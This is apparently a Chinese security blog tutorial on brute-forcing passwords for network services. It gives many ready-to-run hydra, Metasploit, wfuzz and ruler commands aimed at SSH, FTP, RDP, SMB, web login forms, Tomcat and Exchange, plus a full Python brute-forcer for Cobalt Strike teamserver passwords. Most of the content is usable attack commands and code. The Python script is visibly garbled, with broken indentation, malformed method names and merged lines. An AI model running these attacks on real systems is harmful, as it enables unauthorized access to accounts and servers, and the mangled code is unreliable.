Web安全——穷举爆破下篇(仅供学习)

Web安全

  • 一、常见的端口服务穷举
    • 1、hydra 密码穷举工具的使用
    • 2、使用 hydra 穷举 ssh 服务
    • 3、使用 hydra 穷举 ftp 服务
    • 4、使用 hydra 穷举 mysql 服务
    • 5、使用 hydra 穷举 smb 服务
    • 6、使用 hydra 穷举 http 服务
    • 7、使用 hydra 穷举 pop3 服务
    • 8、使用 hydra 穷举 rdp 服务
    • 9、使用 hydra 穷举 http-proxy 服务
    • 10、使用 hydra 穷举 imap 服务
    • 11、使用 hydra 穷举 telnet 服务
  • 二、xhydra 穷举工具破解各种服务
  • 三、metasploit 穷举模块的使用
  • 四、御剑 RDP 爆破工具的使用
  • 五、wfuzz 多线程穷举密码
  • 六、邮箱密码的穷举
    • 1、企业独立搭建的邮服 用 MailCracker 进行破解
    • 2、针对 163 qq 这些邮箱用 mail 脚本进行穷举
  • 七、CobaltStrike TeamServer 口令暴力破解
  • 八、对 apache-tomcat 服务进行穷举
  • 九、超级弱口令穷举使用
  • 十、exchange 邮服穷举

一、常见的端口服务穷举

1、hydra 密码穷举工具的使用

hydra 是一个端口穷举服务器的工具

adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]
http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2
rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]
smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc
xmpp

使用例子

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

常用参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]

-R
继续从上一次进度接着破解
-S
大写,采用 SSL 链接
-s
小写,可通过这个参数指定非默认端口
-l
指定破解的用户,对特定用户破解
-L
指定用户名字典
-p
小写,指定密码破解,少用,一般是采用密码字典
-P
大写,指定密码字典
-e
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C
使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
-M
指定目标列表文件一行一条
-o
指定结果输出文件
-f
在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
-t
同时运行的线程数,默认为 16
-w
设置最大超时的时间,单位秒,默认是 30s
-v / -V
显示详细过程
server
目标 ip
service
指定服务名,支持的服务和协议:

telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak
sip vmauthd firebird ncp afp 等等

OPT
可选项

2、使用 hydra 穷举 ssh 服务

-L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
-f 如果找到马上中断扫描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用户

hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f

Web安全——穷举爆破下篇(仅供学习)_第1张图片

3、使用 hydra 穷举 ftp 服务

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f

Web安全——穷举爆破下篇(仅供学习)_第2张图片

4、使用 hydra 穷举 mysql 服务

hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口

5、使用 hydra 穷举 smb 服务

hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f

Web安全——穷举爆破下篇(仅供学习)_第3张图片
Web安全——穷举爆破下篇(仅供学习)_第4张图片

6、使用 hydra 穷举 http 服务

hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"

Web安全——穷举爆破下篇(仅供学习)_第5张图片

7、使用 hydra 穷举 pop3 服务

hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f

8、使用 hydra 穷举 rdp 服务

hydra ip rdp -l administrator -P pass.txt -V

9、使用 hydra 穷举 http-proxy 服务

hydra -l admin -P pass.txt http-proxy://10.36.16.18

10、使用 hydra 穷举 imap 服务

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

11、使用 hydra 穷举 telnet 服务

hydra ip telnet -l  用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

Web安全——穷举爆破下篇(仅供学习)_第6张图片

二、xhydra 穷举工具破解各种服务

xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。
使用 hydra 破解 rdp 服务
Web安全——穷举爆破下篇(仅供学习)_第7张图片
Web安全——穷举爆破下篇(仅供学习)_第8张图片
Web安全——穷举爆破下篇(仅供学习)_第9张图片
Web安全——穷举爆破下篇(仅供学习)_第10张图片

Web安全——穷举爆破下篇(仅供学习)_第11张图片

Web安全——穷举爆破下篇(仅供学习)_第12张图片
Web安全——穷举爆破下篇(仅供学习)_第13张图片

三、metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件 同样也有穷举模块

auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login

Web安全——穷举爆破下篇(仅供学习)_第14张图片
Web安全——穷举爆破下篇(仅供学习)_第15张图片
Web安全——穷举爆破下篇(仅供学习)_第16张图片

模块的用法
首先启动在终端下启动 msfconsole use 使用 ssh_login 模块
Web安全——穷举爆破下篇(仅供学习)_第17张图片
Web安全——穷举爆破下篇(仅供学习)_第18张图片

use auxiliary/scanner/ssh/ssh_login
show options 查看模块的参数
Web安全——穷举爆破下篇(仅供学习)_第19张图片

RHOSTS 攻击的目标
PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数

set 设置参数

msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options

设置好后用 run 或者 exploit 进行攻击
Web安全——穷举爆破下篇(仅供学习)_第20张图片
Web安全——穷举爆破下篇(仅供学习)_第21张图片

四、御剑 RDP 爆破工具的使用

Web安全——穷举爆破下篇(仅供学习)_第22张图片

五、wfuzz 多线程穷举密码

Usage: wfuzz [options] -z payload,params <url> 
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z 
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w	/home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

Web安全——穷举爆破下篇(仅供学习)_第23张图片
Web安全——穷举爆破下篇(仅供学习)_第24张图片

六、邮箱密码的穷举

默认的收发邮件端口信息发邮件 pop3 110 加密 995
收邮件 smtp 25 加密 465

1、企业独立搭建的邮服 用 MailCracker 进行破解

Web安全——穷举爆破下篇(仅供学习)_第25张图片

2、针对 163 qq 这些邮箱用 mail 脚本进行穷举

像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。
Web安全——穷举爆破下篇(仅供学习)_第26张图片

七、CobaltStrike TeamServer 口令暴力破解

Web安全——穷举爆破下篇(仅供学习)_第27张图片
Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。
Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com
这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
TeamServer 口令暴力破解
然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
启动 teamserver
sudo ./teamserver 192.168.0.102 123456
启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。
如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。

使用 csbuster.py 对 50050 端口进行密码穷举

#!/usr/bin/env python3
# -*- coding:gbk -*- import time
import socket 
import ssl 
import argparse
import concurrent.futures 
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versi

MIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:
	sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) 
	parser = argparse.ArgumentParser()
	parser.add_argument("host",
		help="Teamserver address") 	
	parser.add_argument("wordlist", nargs="?",
		help="Newline-delimited word list file") 
	parser.add_argument("-p", dest="port", default=50050, type=int,
		help="Teamserver port") 
	parser.add_argument("-t",dest="threads", default=25, type=int,
		help="Concurrency level") 
		
args = parser.parse_args()

#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socket

class NotConnectedException(Exception):
	def init (self, message=None, node=None): 
	self.message = message
	self.node = node

class DisconnectedException(Exception):
	def init (self, message=None, node=None): 
	self.message = message
	self.node = node

class Connector:
	def init (self): 
	self.sock = None 
	self.ssl_sock = None
	self.ctx = ssl.SSLContext() 		
	self.ctx.verify_mode = ssl.CERT_NONE 
	pass

	def is_connected(self):
		return self.sock and self.ssl_sock

	def open(self, hostname, port):
		self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.sock.settimeout(10)
		self.ssl_sock = self.ctx.wrap_socket(self.sock)
 
		if hostname == socket.gethostname():
			ipaddress = socket.gethostbyname_ex(hostname)[2][0] 
			self.ssl_sock.connect((ipaddress, port))
		else:
			self.ssl_sock.connect((hostname, port))


	def close(self):
		if self.sock:
			self.sock.close() 
		self.sock = None 	
		self.ssl_sock = None

	def send(self, buffer):
		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
		self.ssl_sock.sendall(buffer)

	def receive(self):
		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
		received_size = 0 
		data_buffer = b""

		while received_size < 4:
			data_in = self.ssl_sock.recv() data_buffer = 			
			data_buffer + data_in 		
			received_size += len(data_in)

		return data_buffer

	def passwordcheck(password): 
		if len(password) > 0:
			result = None
 			conn = Connector() 			
 			conn.open(args.host, args.port)
			payload	=	bytearray(b"\x00\x00\xbe\xef")	+	len(password).to_bytes(1, "big", signed=True) + bytes(
				bytes(password, "ascii").ljust(256, b"A")) 		
			conn.send(payload)
			if conn.is_connected(): result = conn.receive() 
			if conn.is_connected(): conn.close()
			if result == bytearray(b"\x00\x00\xca\xfe"): 
				return password
			else:
				return False
 		else
 			print("Ignored blank password") 
 	passwords = []
	if args.wordlist:
		print("Wordlist: {}".format(args.wordlist)) 
		passwords = open(args.wordlist).read().split("\n")	
	else:
 		print("Wordlist: {}".format("stdin")) 
 		for line in sys.stdin:
			passwords.append(line.rstrip())
	if len(passwords) > 0:
		print("Word Count: {}".format(len(passwords))) 		
		print("Threads: {}".format(args.threads))

		start = time.time()
		# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
 
		attempts = 0
		failures = 0
		with	concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)	as executor:
			future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
			for future in concurrent.futures.as_completed(future_to_check): 
				password = future_to_check[future]
				try:
					data = future.result() 
					attempts = attempts + 1 
					if data:
						print("Found Password: {}".format(password)) 
				except Exception as exc:
					failures = failures + 1
					print('%r generated an exception: %s' % (password, exc))

	print("Attempts: {}".format(attempts)) 
	print("Failures: {}".format(failures)) 
	finish = time.time()
	print("Seconds: {:.1f}".format(finish - start))
	print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
	print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20

Web安全——穷举爆破下篇(仅供学习)_第28张图片
https://www.moonsec.com/archives/3089

八、对 apache-tomcat 服务进行穷举

Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。
Web安全——穷举爆破下篇(仅供学习)_第29张图片
Web安全——穷举爆破下篇(仅供学习)_第30张图片

use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典
set RPORT 8081 设置端口
set RHOSTS 192.168.52.6
exploit 攻击
Web安全——穷举爆破下篇(仅供学习)_第31张图片

Web安全——穷举爆破下篇(仅供学习)_第32张图片

九、超级弱口令穷举使用

Web安全——穷举爆破下篇(仅供学习)_第33张图片

十、exchange 邮服穷举

ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

你可能感兴趣的:(Web安全,渗透测试,网络安全,web安全,安全,服务器,运维,https,网络,云原生)